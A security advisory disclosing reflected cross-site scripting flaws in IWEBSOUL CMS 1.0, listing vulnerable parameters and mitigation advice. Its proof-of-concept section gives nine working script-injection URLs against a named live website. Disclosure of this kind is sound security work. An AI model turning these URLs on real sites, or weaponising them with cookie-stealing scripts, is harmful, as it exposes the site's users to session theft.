Title:
=======

IWEBSOUL CMS - Multiple Cross Site Scripting Vulnerabilities 
 
Introduction:
==============

Intrepid Websoul Private Limited - iWebsoul is a rapidly growing IT Solution provider in India. 
Team comprehensively works to create a unique business and industry based solution for their customers. 
They customize  solutions and tailor it according to the needs of our clients keeping in mind their vision and target audience.[iWbeSoul]
 
Vulnerability Disclosure:
==========================

2017-09-06: Public Disclosure
 
Affected Product(s):
=====================

IWEBSOUL CMS 1.0
 
Exploitation Technique:
========================

Remote
 
Severity Level:
================

High
 
Technical Details & Description:
=================================

A Cross Site Scripting vulnerability has been discovered in the IWEBSOUL CMS 1.0  web-application.
The vulnerability is located in the 'catid', 'scatid', 'spid','typeid', 'idnoo' &'bid' parameters of the`product.php` action GET method request.
 
Request Method(s):

[+] GET
 
Vulnerable Function(s):

[+] product.php
 
Vulnerable Parameter(s):

[+] catid

[+] scatid

[+] spid

[+] typeid

[+] idnoo 

[+] bid

Other Cross Site Scripting  vulnerability is located in the 'type' parameter of the`service-detail.php` action GET method request.

Request Method(s):

[+] GET
 
Vulnerable Function(s):

[+] service-detail.php
 
Vulnerable Parameter(s):

[+] type

More Cross Site Scripting vulnerability is located in the 'msg' paramater of the 'register.php' action GET method request.


Request Method(s):

[+] GET
 
Vulnerable Function(s):

[+] register.php
 
Vulnerable Parameter(s):

[+] msg

Other Cross Site Scripting vulnerability is located in the 'msg' parameter of the 'sellerregistration.php' action GET method request.


Request Method(s):

[+] GET
 
Vulnerable Function(s):

[+] sellerregistration.php
 
Vulnerable Parameter(s):

[+] msg

 

Proof of Concept (PoC):
========================

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. 
XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. 
Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. 
The end useras browser has no way to know that the script should not be trusted, and will execute the script. 
Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. 
These scripts can even rewrite the content of the HTML page.[OWASP]
 
http://www.bumalow.com/product.php?catid=3999999"><script>alert(1)</script>

http://www.bumalow.com/product.php?scatid=3999999"><script>alert(1)</script>

http://www.bumalow.com/product.php?spid=3999999"><script>alert(1)</script>

http://www.bumalow.com/product.php?typeid=3999999"><script>alert(1)</script>

http://www.bumalow.com/product.php?bid=3999999"><script>alert(1)</script>

http://www.bumalow.com/product.php?bid=&catid=&idcot=&iddep=&idnoo=1"><script>alert(1)</script>

http://www.bumalow.com/service-detail.php?type=Painter"><script>alert(1)</script>

http://www.bumalow.com/register.php?msg=1"><script>alert(1)</script>

http://www.bumalow.com//sellerregistration.php?msg=1"><script>alert(1)</script>


Solution 
=========

For the prevention of Cross Site Scripting, some steps must be taken:
Never enter untrusted data except in places defined for this purpose. 
The principle of this rule is to deny everything and mainly not to digest JavaScript code from an unknown source and then execute it.
Validate the escape characters before inserting them inside the HTML element. Failure to validate inputs may allow malicious code to be injected into the application.
Validate the parameters of the URL and verify information that it sends in HTTP requests, it escapes hexadecimal in URLs such as %25, where 25 is the ASCII code of the character "%".
 
Credits
========

Felipe "Renzi" Gabriel
 
Contact
========

renzi@linuxmail.org
 
References
==========

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.iwebsoul.com/about-iwebsoul.php